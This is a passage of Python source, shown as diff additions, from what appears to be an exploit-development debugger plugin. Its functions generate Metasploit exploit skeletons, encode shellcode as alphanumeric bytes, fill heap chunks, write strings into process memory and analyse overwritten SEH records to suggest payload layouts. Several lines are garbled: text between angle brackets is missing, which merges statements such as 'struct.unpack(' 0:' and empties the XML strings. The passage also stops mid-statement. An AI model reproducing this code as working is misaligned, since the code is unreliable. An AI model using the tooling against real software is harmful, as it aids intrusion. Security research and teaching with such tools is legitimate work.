+ + thismodule = thismod.getShortName() + + for thisfunc in thisxat: + thisfuncname = thisxat[thisfunc].lower() + origfuncname = thisfuncname + firstindex = thisfuncname.find(".") + if firstindex > 0: + thisfuncname = thisfuncname[firstindex+1:len(thisfuncname)] + addtolist = False + iatptr_modname = "" + modinfohr = "" + theptr = 0 + if mode == "iat": + theptr = struct.unpack(' 0: + for keyword in keywords: + keyword = keyword.lower().strip() + if ((keyword.startswith("*") and keyword.endswith("*")) or keyword.find("*") < 0): + keyword = keyword.replace("*","") + if thisfuncname.find(keyword) > -1: + addtolist = True + break + if keyword.startswith("*") and not keyword.endswith("*"): + keyword = keyword.replace("*","") + if thisfuncname.endswith(keyword): + addtolist = True + break + if keyword.endswith("*") and not keyword.startswith("*"): + keyword = keyword.replace("*","") + if thisfuncname.startswith(keyword): + addtolist = True + break + else: + addtolist = True + if addtolist: + entriesfound += 1 + # add info about the module + + if mode == "iat": + thedelta = thisfunc - thismod.moduleBase + logentry = "At 0x%s in %s (base + 0x%s) : 0x%s (ptr to %s) %s" % (toHex(thisfunc),thismodule.lower(),toHex(thedelta),toHex(theptr),origfuncname,modinfohr) + else: + thedelta = thisfunc - thismod.moduleBase + logentry = "0x%08x : %s!%s (0x%08x+0x%08x)" % (thisfunc,thismodule.lower(),origfuncname,thismod.moduleBase,thedelta) + dbg.log(logentry,address = thisfunc) + objxatfilename.write(logentry,xatfile) + if not silent: + dbg.log("") + dbg.log("%d entries found" % entriesfound) + return + + + #-----Metasploit module skeleton-----# + def procSkeleton(args): + + cyclicsize = 5000 + if "c" in args: + if type(args["c"]).__name__.lower() != "bool": + try: + cyclicsize = int(args["c"]) + except: + cyclicsize = 5000 + + exploittype = "" + skeletonarg = "" + usecliargs = False + validstypes ={} + validstypes["tcpclient"] = "network client (tcp)" + validstypes["udpclient"] = "network client (udp)" + validstypes["fileformat"] = "fileformat" + exploittypes = [ "fileformat","network client (tcp)","network client (udp)" ] + errorfound = False + if __DEBUGGERAPP__ == "WinDBG" or "t" in args: + if "t" in args: + if type(args["t"]).__name__.lower() != "bool": + skeltype = args["t"].lower() + skelparts = skeltype.split(":") + if skelparts[0] in validstypes: + exploittype = validstypes[skelparts[0]] + if len(skelparts) > 1: + skeletonarg = skelparts[1] + else: + errorfound = True + usecliargs = True + else: + errorfound = True + else: + errorfound = True + else: + errorfound = True + # ask for type of module + else: + dbg.log(" ** Please select a skeleton exploit type from the dropdown list **",highlight=1) + exploittype = dbg.comboBox("Select msf exploit skeleton to build :", exploittypes).lower().strip() + + if errorfound: + dbg.log(" ** Please specify a valid skeleton type and argument **",highlight=1) + dbg.log(" Valid types are : tcpclient:argument, udpclient:argument, fileformat:argument") + dbg.log(" Example : skeleton for a pdf file format exploit: -t fileformat:pdf") + dbg.log(" skeleton for tcp client against port 123: -t tcpclient:123") + return + if not exploittype in exploittypes: + dbg.log("Boo - invalid exploit type, try again !",highlight=1) + return + + portnr = 0 + extension = "" + if exploittype.find("network") > -1: + if usecliargs: + portnr = skeletonarg + else: + portnr = dbg.inputBox("Remote port number : ") + try: + portnr = int(portnr) + except: + portnr = 0 + + if exploittype.find("fileformat") > -1: + if usecliargs: + extension = skeletonarg + else: + extension = dbg.inputBox("File extension :") + + extension = extension.replace("'","").replace('"',"").replace("\n","").replace("\r","") + + if not extension.startswith("."): + extension = "." + extension + + exploitfilename="msfskeleton.rb" + objexploitfile = MnLog(exploitfilename) + global ignoremodules + global noheader + noheader = True + ignoremodules = True + exploitfile = objexploitfile.reset() + ignoremodules = False + noheader = False + + modulecriteria = {} + criteria = {} + + modulecriteria,criteria = args2criteria(args,modulecriteria,criteria) + + badchars = "" + if "badchars" in criteria: + badchars = criteria["badchars"] + + if "nonull" in criteria: + if not '\x00' in badchars: + badchars += '\x00' + + skeletonheader,skeletoninit,skeletoninit2 = getSkeletonHeader(exploittype,portnr,extension,"",badchars) + + targetstr = " 'Targets' =>\n" + targetstr += " [\n" + targetstr += " [ '',\n" + targetstr += " {\n" + targetstr += " 'Ret' => 0x00000000,\n" + targetstr += " 'Offset' => 0\n" + targetstr += " }\n" + targetstr += " ],\n" + targetstr += " ],\n" + + exploitstr = " def exploit\n\n" + if exploittype.find("network") > -1: + if exploittype.find("tcp") > -1: + exploitstr += "\n connect\n\n" + elif exploittype.find("udp") > -1: + exploitstr += "\n connect_udp\n\n" + + exploitstr += " buffer = Rex::Text.pattern_create(" + str(cyclicsize) + ")\n" + + if exploittype.find("network") > -1: + exploitstr += "\n print_status(\"Trying target #{target.name}...\")\n" + if exploittype.find("tcp") > -1: + exploitstr += " sock.put(buffer)\n" + exploitstr += "\n handler\n" + elif exploittype.find("udp") > -1: + exploitstr += " udp_sock.put(buffer)\n" + exploitstr += "\n handler(udp_sock)\n" + if exploittype == "fileformat": + exploitstr += "\n file_create(buffer)\n\n" + if exploittype.find("network") > -1: + exploitstr += " disconnect\n\n" + + exploitstr += " end\n" + + objexploitfile.write(skeletonheader+"\n",exploitfile) + objexploitfile.write(skeletoninit+"\n",exploitfile) + objexploitfile.write(targetstr,exploitfile) + objexploitfile.write(skeletoninit2,exploitfile) + objexploitfile.write(exploitstr,exploitfile) + objexploitfile.write("end",exploitfile) + + + return + + + def procFillChunk(args): + + reference = "" + fillchar = "A" + allregs = dbg.getRegs() + origreference = "" + + deref = False + refreg = "" + offset = 0 + signstuff = 1 + customsize = 0 + + if "s" in args: + if type(args["s"]).__name__.lower() != "bool": + sizearg = args["s"] + if sizearg.lower().startswith("0x"): + sizearg = sizearg.lower().replace("0x","") + customsize = int(sizearg,16) + else: + customsize = int(sizearg) + + if "r" in args: + if type(args["r"]).__name__.lower() != "bool": + + # break into pieces + reference = args["r"].upper() + origreference = reference + if reference.find("[") > -1 and reference.find("]") > -1: + refregtmp = reference.replace("[","").replace("]","").replace(" ","") + if reference.find("+") > -1 or reference.find("-") > -1: + # deref with offset + refregtmpparts = [] + if reference.find("+") > -1: + refregtmpparts = refregtmp.split("+") + signstuff = 1 + if reference.find("-") > -1: + refregtmpparts = refregtmp.split("-") + signstuff = -1 + if len(refregtmpparts) > 1: + offset = int(refregtmpparts[1].replace("0X",""),16) * signstuff + deref = True + refreg = refregtmpparts[0] + if not refreg in allregs: + dbg.log("** Please provide a valid reference using -r reg/reference **") + return + else: + dbg.log("** Please provide a valid reference using -r reg/reference **") + return + else: + # only deref + refreg = refregtmp + deref = True + else: + # no deref, maybe offset + if reference.find("+") > -1 or reference.find("-") > -1: + # deref with offset + refregtmpparts = [] + refregtmp = reference.replace(" ","") + if reference.find("+") > -1: + refregtmpparts = refregtmp.split("+") + signstuff = 1 + if reference.find("-") > -1: + refregtmpparts = refregtmp.split("-") + signstuff = -1 + if len(refregtmpparts) > 1: + offset = int(refregtmpparts[1].replace("0X",""),16) * signstuff + refreg = refregtmpparts[0] + if not refreg in allregs: + dbg.log("** Please provide a valid reference using -r reg/reference **") + return + else: + dbg.log("** Please provide a valid reference using -r reg/reference **") + return + else: + # only deref + refregtmp = reference.replace(" ","") + refreg = refregtmp + deref = False + else: + dbg.log("** Please provide a valid reference using -r reg/reference **") + return + else: + dbg.log("** Please provide a valid reference using -r reg/reference **") + return + + if not refreg in allregs: + dbg.log("** Please provide a valid reference using -r reg/reference **") + return + + dbg.log("Ref : %s" % refreg) + dbg.log("Offset : %d (0x%s)" % (offset,toHex(int(str(offset).replace("-",""))))) + dbg.log("Deref ? : %s" % deref) + + if "b" in args: + if type(args["b"]).__name__.lower() != "bool": + if args["b"].find("\\x") > -1: + fillchar = hex2bin(args["b"])[0] + else: + fillchar = args["b"][0] + + # see if we can read the reference + refvalue = 0 + if deref: + refref = 0 + try: + refref = allregs[refreg]+offset + except: + dbg.log("** Unable to read from %s (0x%08x)" % (origreference,allregs[refreg]+offset)) + try: + refvalue = struct.unpack(' 0x%08x" % (origreference,allregs[reference]+offset,refref)) + return + else: + try: + refvalue = allregs[refreg]+offset + except: + dbg.log("** Unable to read from %s (0x%08x)" % (reference,allregs[refreg]+offset)) + + dbg.log("Reference : %s: 0x%08x" % (origreference,refvalue)) + dbg.log("Fill char : \\x%s" % bin2hex(fillchar)) + + cmd2run = "!heap -p -a 0x%08x" % refvalue + output = dbg.nativeCommand(cmd2run) + outputlines = output.split("\n") + heapinfo = "" + for line in outputlines: + if line.find("[") > -1 and line.find("]") > -1 and line.find("(") > -1 and line.find(")") > -1: + heapinfo = line + break + if heapinfo == "": + dbg.log("Address is not part of a heap chunk") + if customsize > 0: + dbg.log("Filling memory location starting at 0x%08x with \\x%s" % (refvalue,bin2hex(fillchar))) + dbg.log("Number of bytes to write : %d (0x%08x)" % (customsize,customsize)) + data = fillchar * customsize + dbg.writeMemory(refvalue,data) + dbg.log("Done") + else: + dbg.log("Please specify a custom size with -s to fill up the memory location anyway") + else: + infofields = [] + cnt = 0 + charseen = False + thisfield = "" + while cnt < len(heapinfo): + if heapinfo[cnt] == " " and charseen and thisfield != "": + infofields.append(thisfield) + thisfield = "" + else: + if not heapinfo[cnt] == " ": + thisfield += heapinfo[cnt] + charseen = True + cnt += 1 + if thisfield != "": + infofields.append(thisfield) + if len(infofields) > 7: + chunkptr = hexStrToInt(infofields[0]) + userptr = hexStrToInt(infofields[4]) + size = hexStrToInt(infofields[5]) + dbg.log("Heap chunk found at 0x%08x, size 0x%08x (%d) bytes" % (chunkptr,size,size)) + dbg.log("Filling chunk with \\x%s, starting at 0x%08x" % (bin2hex(fillchar),userptr)) + data = fillchar * size + dbg.writeMemory(userptr,data) + dbg.log("Done") + return + + def procInfoDump(args): + allpages = dbg.getMemoryPages() + filename = "infodump.xml" + xmldata = '\n' + xmldata += "\n" + if len(g_modules) == 0: + populateModuleInfo() + modulestoquery=[] + for thismodule,modproperties in g_modules.iteritems(): + xmldata += " \n" % thismodule + thisbase = getModuleProperty(thismodule,"base") + thissize = getModuleProperty(thismodule,"size") + xmldata += " 0x%08x\n" % thisbase + xmldata += " 0x%08x\n" % thissize + xmldata += " \n" + xmldata += "\n" + orderedpages = [] + for tpage in allpages.keys(): + orderedpages.append(tpage) + orderedpages.sort() + if len(orderedpages) > 0: + xmldata += "\n" + # first dump module info to file + objfile = MnLog(filename) + infofile = objfile.reset(clear=True,showheader=False) + f = open(infofile,"wb") + for line in xmldata.split("\n"): + if line != "": + f.write(line + "\n") + tolog = "Dumping the following pages to file:" + dbg.log(tolog) + tolog = "Start End Size ACL" + dbg.log(tolog) + for thispage in orderedpages: + page = allpages[thispage] + pagestart = page.getBaseAddress() + pagesize = page.getSize() + ptr = MnPointer(pagestart) + mod = "" + sectionname = "" + ismod = False + isstack = False + isheap = False + try: + mod = ptr.belongsTo() + if mod != "": + ismod = True + except: + mod = "" + if not ismod: + if ptr.isOnStack(): + isstack = True + if not ismod and not isstack: + if ptr.isInHeap(): + isheap = True + if not ismod and not isstack and not isheap: + acl = page.getAccess(human=True) + if not "NOACCESS" in acl: + tolog = "0x%08x - 0x%08x (0x%08x) %s" % (pagestart,pagestart + pagesize,pagesize,acl) + dbg.log(tolog) + # add page contents to xml + thispage = dbg.readMemory(pagestart,pagesize) + f.write(" \n" % pagestart) + f.write(" 0x%08x\n" % pagesize) + f.write(" %s\n" % acl) + f.write(" ") + memcontents = "" + for thisbyte in thispage: + memcontents += bin2hex(thisbyte) + f.write(memcontents) + f.write("\n") + f.write(" \n") + f.write("\n") + f.write("") + dbg.log("") + f.close() + dbg.log("Done") + return + + + def procPEB(args): + """ + Show the address of the PEB + """ + pebaddy = dbg.getPEBAddress() + dbg.log("PEB is located at 0x%08x" % pebaddy,address=pebaddy) + return + + def procTEB(args): + """ + Show the address of the TEB for the current thread + """ + tebaddy = dbg.getCurrentTEBAddress() + dbg.log("TEB is located at 0x%08x" % tebaddy,address=tebaddy) + return + + def procPageACL(args): + global silent + silent = True + findaddy = 0 + if "a" in args: + findaddy,addyok = getAddyArg(args["a"]) + if not addyok: + dbg.log("%s is an invalid address" % args["a"], highlight=1) + return + if findaddy > 0: + dbg.log("Displaying page information around address 0x%08x" % findaddy) + allpages = dbg.getMemoryPages() + dbg.log("Total of %d pages : "% len(allpages)) + filename="pageacl.txt" + orderedpages = [] + for tpage in allpages.keys(): + orderedpages.append(tpage) + orderedpages.sort() + # find indexes to show in case we have specified an address + toshow = [] + previouspage = 0 + nextpage = 0 + pagefound = False + if findaddy > 0: + for thispage in orderedpages: + page = allpages[thispage] + pagestart = page.getBaseAddress() + pagesize = page.getSize() + pageend = pagestart + pagesize + if findaddy >= pagestart and findaddy < pageend: + toshow.append(thispage) + pagefound = True + if pagefound and previouspage > 0: + if not previouspage in toshow: + toshow.append(previouspage) + if not thispage in toshow: + toshow.append(thispage) # nextpage + break + previouspage = thispage + if len(toshow) > 0: + toshow.sort() + orderedpages = toshow + dbg.log("Showing %d pages" % len(orderedpages)) + if len(orderedpages) > 0: + objfile = MnLog(filename) + aclfile = objfile.reset() + tolog = "Start End Size ACL" + dbg.log(tolog) + objfile.write(tolog,aclfile) + for thispage in orderedpages: + page = allpages[thispage] + pagestart = page.getBaseAddress() + pagesize = page.getSize() + ptr = MnPointer(pagestart) + mod = "" + sectionname = "" + try: + mod = ptr.belongsTo() + if not mod == "": + mod = "(" + mod + ")" + sectionname = page.getSection() + except: + #print traceback.format_exc() + pass + if mod == "": + if ptr.isOnStack(): + mod = "(Stack)" + elif ptr.isInHeap(): + mod = "(Heap)" + acl = page.getAccess(human=True) + tolog = "0x%08x - 0x%08x (0x%08x) %s %s %s" % (pagestart,pagestart + pagesize,pagesize,acl,mod, sectionname) + objfile.write(tolog,aclfile) + dbg.log(tolog) + silent = False + return + + def procMacro(args): + validcommands = ["run","set","list","del","add","show"] + validcommandfound = False + selectedcommand = "" + for command in validcommands: + if command in args: + validcommandfound = True + selectedcommand = command + break + dbg.log("") + if not validcommandfound: + dbg.log("*** Please specify a valid command. Valid commands are :") + for command in validcommands: + dbg.log(" -%s" % command) + return + + macroname = "" + if "set" in args: + if type(args["set"]).__name__.lower() != "bool": + macroname = args["set"] + + if "show" in args: + if type(args["show"]).__name__.lower() != "bool": + macroname = args["show"] + + if "add" in args: + if type(args["add"]).__name__.lower() != "bool": + macroname = args["add"] + + if "del" in args: + if type(args["del"]).__name__.lower() != "bool": + macroname = args["del"] + + if "run" in args: + if type(args["run"]).__name__.lower() != "bool": + macroname = args["run"] + + filename = "" + index = -1 + insert = False + iamsure = False + if "index" in args: + if type(args["index"]).__name__.lower() != "bool": + index = int(args["index"]) + if index < 0: + dbg.log("** Please use a positive integer as index",highlight=1) + + if "file" in args: + if type(args["file"]).__name__.lower() != "bool": + filename = args["file"] + + if filename != "" and index > -1: + dbg.log("** Please either provide an index or a filename, not both",highlight=1) + return + + if "insert" in args: + insert = True + + if "iamsure" in args: + iamsure = True + + argcommand = "" + if "cmd" in args: + if type(args["cmd"]).__name__.lower() != "bool": + argcommand = args["cmd"] + + + dbg.setKBDB("monamacro.db") + macros = dbg.getKnowledge("macro") + if macros is None: + macros = {} + + if selectedcommand == "list": + for macro in macros: + thismacro = macros[macro] + macronametxt = "Macro : '%s' : %d command(s)" % (macro,len(thismacro)) + dbg.log(macronametxt) + dbg.log("") + dbg.log("Number of macros : %d" % len(macros)) + + if selectedcommand == "show": + if macroname != "": + if not macroname in macros: + dbg.log("** Macro %s does not exist !" % macroname) + return + else: + macro = macros[macroname] + macronametxt = "Macro : %s" % macroname + macroline = "-" * len(macronametxt) + dbg.log(macronametxt) + dbg.log(macroline) + thismacro = macro + macrolist = [] + for macroid in thismacro: + macrolist.append(macroid) + macrolist.sort() + nr_of_commands = 0 + for macroid in macrolist: + macrocmd = thismacro[macroid] + if macrocmd.startswith("#"): + dbg.log(" [%04d] File:%s" % (macroid,macrocmd[1:])) + else: + dbg.log(" [%04d] %s" % (macroid,macrocmd)) + nr_of_commands += 1 + dbg.log("") + dbg.log("Nr of commands in this macro : %d" % nr_of_commands) + else: + dbg.log("** Please specify the macroname to show !",highlight=1) + return + + if selectedcommand == "run": + if macroname != "": + if not macroname in macros: + dbg.log("** Macro %s does not exist !" % macroname) + return + else: + macro = macros[macroname] + macronametxt = "Running macro : %s" % macroname + macroline = "-" * len(macronametxt) + dbg.log(macronametxt) + dbg.log(macroline) + thismacro = macro + macrolist = [] + for macroid in thismacro: + macrolist.append(macroid) + macrolist.sort() + for macroid in macrolist: + macrocmd = thismacro[macroid] + if macrocmd.startswith("#"): + dbg.log("Executing script %s" % macrocmd[1:]) + output = dbg.nativeCommand("$<%s" % macrocmd[1:]) + dbg.logLines(output) + dbg.log("-" * 40) + else: + dbg.log("Index %d : %s" % (macroid,macrocmd)) + dbg.log("") + output = dbg.nativeCommand(macrocmd) + dbg.logLines(output) + dbg.log("-" * 40) + dbg.log("") + dbg.log("[+] Done.") + else: + dbg.log("** Please specify the macroname to run !",highlight=1) + return + + if selectedcommand == "set": + if macroname != "": + if not macroname in macros: + dbg.log("** Macro %s does not exist !" % macroname) + return + if argcommand == "" and filename == "": + dbg.log("** Please enter a valid command with parameter -cmd",highlight=1) + return + thismacro = macros[macroname] + if index == -1: + for i in thismacro: + thiscmd = thismacro[i] + if thiscmd.startswith("#"): + dbg.log("** You cannot edit a macro that uses a scriptfile.",highlight=1) + dbg.log(" Edit file %s instead" % thiscmd[1:],highlight=1) + return + if filename == "": + # append to end of the list + # find the next index first + nextindex = 0 + for macindex in thismacro: + if macindex >= nextindex: + nextindex = macindex+1 + if thismacro.__class__.__name__ == "dict": + thismacro[nextindex] = argcommand + else: + thismacro = {} + thismacro[nextindex] = argcommand + else: + thismacro = {} + nextindex = 0 + thismacro[0] = "#%s" % filename + macros[macroname] = thismacro + dbg.addKnowledge("macro",macros) + dbg.log("[+] Done, saved new command at index %d." % nextindex) + else: + # user has specified an index + if index in thismacro: + if argcommand == "#": + # remove command at this index + del thismacro[index] + else: + # if macro already contains a file entry, bail out + for i in thismacro: + thiscmd = thismacro[i] + if thiscmd.startswith("#"): + dbg.log("** You cannot edit a macro that uses a scriptfile.",highlight=1) + dbg.log(" Edit file %s instead" % thiscmd[1:],highlight=1) + return + # index exists - overwrite unless -insert was provided too + # remove or insert ? + #print sys.argv + if not insert: + thismacro[index] = argcommand + else: + # move things around + # get ordered list of existing indexes + indexes = [] + for macindex in thismacro: + indexes.append(macindex) + indexes.sort() + thismacro2 = {} + cmdadded = False + for i in indexes: + if i < index: + thismacro2[i] = thismacro[i] + elif i == index: + thismacro2[i] = argcommand + thismacro2[i+1] = thismacro[i] + elif i > index: + thismacro2[i+1] = thismacro[i] + thismacro = thismacro2 + else: + # index does not exist, add new command to this index + for i in thismacro: + thiscmd = thismacro[i] + if thiscmd.startswith("#"): + dbg.log("** You cannot edit a macro that uses a scriptfile.",highlight=1) + dbg.log(" Edit file %s instead" % thiscmd[1:],highlight=1) + return + if argcommand != "#": + thismacro[index] = argcommand + else: + dbg.log("** Index %d does not exist, unable to remove the command at that position" % index,highlight=1) + macros[macroname] = thismacro + dbg.addKnowledge("macro",macros) + if argcommand != "#": + dbg.log("[+] Done, saved new command at index %d." % index) + else: + dbg.log("[+] Done, removed command at index %d." % index) + else: + dbg.log("** Please specify the macroname to edit !",highlight=1) + return + + if selectedcommand == "add": + if macroname != "": + if macroname in macros: + dbg.log("** Macro '%s' already exists !" % macroname,highlight=1) + return + else: + macros[macroname] = {} + dbg.log("[+] Adding macro '%s'" % macroname) + dbg.addKnowledge("macro",macros) + dbg.log("[+] Done.") + else: + dbg.log("** Please specify the macroname to add !",highlight=1) + return + + + if selectedcommand == "del": + if not macroname in macros: + dbg.log("** Macro '%s' doesn't exist !" % macroname,highlight=1) + else: + if not iamsure: + dbg.log("** To delete macro '%s', please add the -iamsure flag to the command" % macroname) + return + else: + dbg.forgetKnowledge("macro",macroname) + dbg.log("[+] Done, deleted macro '%s'" % macroname) + return + + + def procEnc(args): + validencoders = ['alphanum'] + encodertyperror = True + byteerror = True + encodertype = "" + bytestoencodestr = "" + bytestoencode = "" + badbytes = "" + + if "t" in args: + if type(args["t"]).__name__.lower() != "bool": + encodertype = args["t"] + encodertyperror = False + + if "s" in args: + if type(args["s"]).__name__.lower() != "bool": + bytestoencodestr = args["s"] + byteerror = False + + if "f" in args: + if type(args["f"]).__name__.lower() != "bool": + binfile = args["f"] + if os.path.exists(binfile): + if not silent: + dbg.log("[+] Reading bytes from %s" % binfile) + try: + f = open(binfile,"rb") + content = f.readlines() + f.close() + for c in content: + for a in c: + bytestoencodestr += "\\x%02x" % ord(a) + byteerror = False + except: + dbg.log("*** Error - unable to read bytes from %s" % binfile) + dbg.logLines(traceback.format_exc(),highlight=True) + byteerror = True + else: + byteerror = True + else: + byteerror = True + + if "cpb" in args: + if type(args["cpb"]).__name__.lower() != "bool": + badbytes = hex2bin(args["cpb"]) + + if not encodertype in validencoders: + encodertyperror = True + + if bytestoencodestr == "": + byteerror = True + else: + bytestoencode = hex2bin(bytestoencodestr) + + if encodertyperror: + dbg.log("*** Please specific a valid encodertype with parameter -t.",highlight=True) + dbg.log("*** Valid types are: %s" % validencoders,highlight=True) + + + if byteerror: + dbg.log("*** Please specify a valid series of bytes with parameter -s",highlight=True) + dbg.log("*** or specify a valid path with parameter -f",highlight=True) + + if encodertyperror or byteerror: + return + else: + cEncoder = MnEncoder(bytestoencode) + encodedbytes = "" + if encodertype == "alphanum": + encodedbytes = cEncoder.encodeAlphaNum(badchars = badbytes) + # determine correct sequence of dictionary + if len(encodedbytes) > 0: + logfile = MnLog("encoded_%s.txt" % encodertype) + thislog = logfile.reset() + if not silent: + dbg.log("") + dbg.log("Results:") + dbg.log("--------") + logfile.write("",thislog) + logfile.write("Results:",thislog) + logfile.write("--------",thislog) + encodedindex = [] + fulllist_str = "" + fulllist_bin = "" + for i in encodedbytes: + encodedindex.append(i) + for i in encodedindex: + thisline = encodedbytes[i] + # 0 = bytes + # 1 = info + thislinebytes = "\\x" + "\\x".join(bin2hex(a) for a in thisline[0]) + logline = " %s : %s : %s" % (thisline[0],thislinebytes,thisline[1]) + if not silent: + dbg.log("%s" % logline) + logfile.write(logline,thislog) + fulllist_str += thislinebytes + fulllist_bin += thisline[0] + + if not silent: + dbg.log("") + dbg.log("Full encoded string:") + dbg.log("--------------------") + dbg.log("%s" % fulllist_bin) + logfile.write("",thislog) + logfile.write("Full encoded string:",thislog) + logfile.write("--------------------",thislog) + logfile.write("%s" % fulllist_bin,thislog) + logfile.write("",thislog) + logfile.write("Full encoded hex:",thislog) + logfile.write("-----------------",thislog) + logfile.write("%s" % fulllist_str,thislog) + return + + def procString(args): + mode = "" + useunicode = False + terminatestring = True + addy = 0 + regs = dbg.getRegs() + stringtowrite = "" + # read or write ? + if not "r" in args and not "w" in args: + dbg.log("*** Error: you must indicate if you want to read (-r) or write (-w) ***",highlight=True) + return + addresserror = False + if not "a" in args: + addresserror = True + else: + if type(args["a"]).__name__.lower() != "bool": + # check if it's a register or not + if str(args["a"]).upper() in regs: + addy = regs[str(args["a"].upper())] + else: + addy = int(args["a"],16) + else: + addresserror = True + + if addresserror: + dbg.log("*** Error: you must specify a valid address with -a ***",highlight=True) + return + + if "w" in args: + mode = "write" + if "r" in args: + # read wins, because it's non destructive + mode = "read" + if "u" in args: + useunicode = True + + stringerror = False + if "w" in args and not "s" in args: + stringerror = True + if "s" in args: + if type(args["s"]).__name__.lower() != "bool": + stringtowrite = args["s"] + else: + stringerror = True + + if "noterminate" in args: + terminatestring = False + + if stringerror: + dbg.log("*** Error: you must specify a valid string with -s ***",highlight=True) + return + + if mode == "read": + stringinmemory = "" + extra = " " + try: + if not useunicode: + stringinmemory = dbg.readString(addy) + else: + stringinmemory = dbg.readWString(addy) + extra = " (unicode) " + dbg.log("String%sat 0x%08x:" % (extra,addy)) + dbg.log("%s" % stringinmemory) + except: + dbg.log("Unable to read string at 0x%08x" % addy) + if mode == "write": + origstring = stringtowrite + writtendata = "" + try: + if not useunicode: + if terminatestring: + stringtowrite += "\x00" + byteswritten = "" + for c in stringtowrite: + byteswritten += " %s" % bin2hex(c) + dbg.writeMemory(addy,stringtowrite) + writtendata = dbg.readString(addy) + dbg.log("Wrote string (%d bytes) to 0x%08x:" % (len(stringtowrite),addy)) + dbg.log("%s" % byteswritten) + else: + newstring = "" + for c in stringtowrite: + newstring += "%s%s" % (c,"\x00") + if terminatestring: + newstring += "\x00\x00" + dbg.writeMemory(addy,newstring) + dbg.log("Wrote unicode string (%d bytes) to 0x%08x" % (len(newstring),addy)) + writtendata = dbg.readWString(addy) + byteswritten = "" + for c in newstring: + byteswritten += " %s" % bin2hex(c) + dbg.log("%s" % byteswritten) + if not writtendata.startswith(origstring): + dbg.log("Write operation succeeded, but the string in memory doesn't appear to be there",highlight=True) + except: + dbg.log("Unable to write the string to 0x%08x" % addy) + dbg.logLines(traceback.format_exc(),highlight=True) + return + + + def procKb(args): + validcommands = ['set','list','del'] + validcommandfound = False + selectedcommand = "" + selectedid = "" + selectedvalue = "" + for command in validcommands: + if command in args: + validcommandfound = True + selectedcommand = command + break + dbg.log("") + if not validcommandfound: + dbg.log("*** Please specify a valid command. Valid commands are :") + for command in validcommands: + dbg.log(" -%s" % command) + return + + if "id" in args: + if type(args["id"]).__name__.lower() != "bool": + selectedid = args["id"] + + if "value" in args: + if type(args["value"]).__name__.lower() != "bool": + selectedvalue = args["value"] + + dbg.log("Knowledgebase database : %s" % dbg.getKBDB()) + kb = dbg.listKnowledge() + if selectedcommand == "list": + dbg.log("Number of IDs in Knowledgebase : %d" % len(kb)) + if len(kb) > 0: + if selectedid == "": + dbg.log("IDs :") + dbg.log("-----") + for kbid in kb: + dbg.log(kbid) + else: + if selectedid in kb: + kbid = dbg.getKnowledge(selectedid) + kbtype = kbid.__class__.__name__ + kbtitle = "Entries for ID %s (type %s) :" % (selectedid,kbtype) + dbg.log(kbtitle) + dbg.log("-" * (len(kbtitle)+2)) + if selectedvalue != "": + dbg.log(" (Filter : %s)" % selectedvalue) + nrentries = 0 + if kbtype == "dict": + for dictkey in kbid: + if selectedvalue == "" or selectedvalue in dictkey: + logline = "" + if kbid[dictkey].__class__.__name__ == "int" or kb[dictkey].__class__.__name__ == "long": + logline = " %s : %d (0x%x)" % (str(dictkey),kbid[dictkey],kbid[dictkey]) + else: + logline = " %s : %s" % (str(dictkey),kbid[dictkey]) + dbg.log(logline) + nrentries += 1 + if kbtype == "list": + cnt = 0 + for entry in kbid: + dbg.log(" %d : %s" % (cnt,kbid[entry])) + cnt += 1 + nrentries += 1 + if kbtype == "str": + dbg.log(" %s" % kbid) + nrentries += 1 + if kbtype == "int" or kbtype == "long": + dbg.log(" %d (0x%08x)" % (kbid,kbid)) + nrentries += 1 + + dbg.log("") + filtertxt = "" + if selectedvalue != "": + filtertxt="filtered " + dbg.log("Number of %sentries for ID %s : %d" % (filtertxt,selectedid,nrentries)) + else: + dbg.log("ID %s was not found in the Knowledgebase" % selectedid) + + if selectedcommand == "set": + # we need an ID and a value argument + if selectedid == "": + dbg.log("*** Please enter a valid ID with -id",highlight=1) + return + if selectedvalue == "": + dbg.log("*** Please enter a valid value",highlight=1) + return + if selectedid in kb: + # vtableCache + if selectedid == "vtableCache": + # split on command + valueparts = selectedvalue.split(",") + if len(valueparts) == 2: + vtablename = valueparts[0].strip(" ") + vtablevalue = 0 + if "0x" in valueparts[1].lower(): + vtablevalue = int(valueparts[1],16) + else: + vtablevalue = int(valueparts[1]) + kbadd = {} + kbadd[vtablename] = vtablevalue + dbg.addKnowledge(selectedid,kbadd) + else: + dbg.log("*** Please provide a valid value for -value") + dbg.log("*** KB %s contains a list, please use a comma") + dbg.log("*** to separate entries. First entry should be a string,") + dbg.log("*** Second entry should be an integer.") + return + else: + dbg.addKnowledge(selectedid,selectedvalue) + dbg.log(" ") + dbg.log("ID %s updated." % selectedid) + else: + dbg.log("ID %s was not found in the Knowledgebase" % selectedid) + + if selectedcommand == "del": + if selectedid == "" or selectedid not in kb: + dbg.log("*** Please enter a valid ID with -id",highlight=1) + return + else: + dbg.forgetKnowledge(selectedid,selectedvalue) + if selectedvalue == "": + dbg.log("*** Entire ID %s removed from Knowledgebase" % selectedid) + else: + dbg.log("*** Object %s in ID %s removed from Knowledgebase" % (selectedvalue,selectedid)) + return + + def procBPSeh(self): + sehchain = dbg.getSehChain() + dbg.log("Nr of SEH records : %d" % len(sehchain)) + if len(sehchain) > 0: + dbg.log("SEH Chain :") + dbg.log("-----------") + dbg.log("Address Next SEH Handler") + for sehrecord in sehchain: + address = sehrecord[0] + sehandler = sehrecord[1] + nseh = "" + try: + nsehvalue = struct.unpack(' 0: + dbg.log("Start of chain (TEB FS:[0]) : 0x%08x" % sehchain[0][0]) + dbg.log("Address Next SEH Handler") + dbg.log("------- -------- -------") + for sehrecord in sehchain: + recaddress = sehrecord[0] + sehandler = sehrecord[1] + nseh = "" + try: + nsehvalue = struct.unpack(' 0: + ptr = MnPointer(sehandler) + funcinfo = ptr.getPtrFunction() + else: + funcinfo = " (corrupted record)" + if str(nseh).startswith("0x"): + nseh = "0x%08x" % int(nseh,16) + else: + nseh = "0x%08x" % int(nseh) + if len(overwritedata) > 0: + handlersoverwritten[recaddress] = overwritedata + smashoffset = int(overwritedata[1]) + typeinfo = "" + if overwritedata[0] == "unicode": + smashoffset += 2 + typeinfo = " [unicode]" + overwritemark = " (record smashed at offset %d%s)" % (smashoffset,typeinfo) + + dbg.log("0x%08x %s 0x%08x %s%s" % (recaddress,nseh,sehandler,funcinfo, overwritemark), recaddress) + if len(handlersoverwritten) > 0: + dbg.log("") + dbg.log("Payload structure suggestion(s):") + for overwrittenhandler in handlersoverwritten: + overwrittendata = handlersoverwritten[overwrittenhandler] + overwrittentype = overwrittendata[0] + overwrittenoffset = int(overwrittendata[1]) + if not 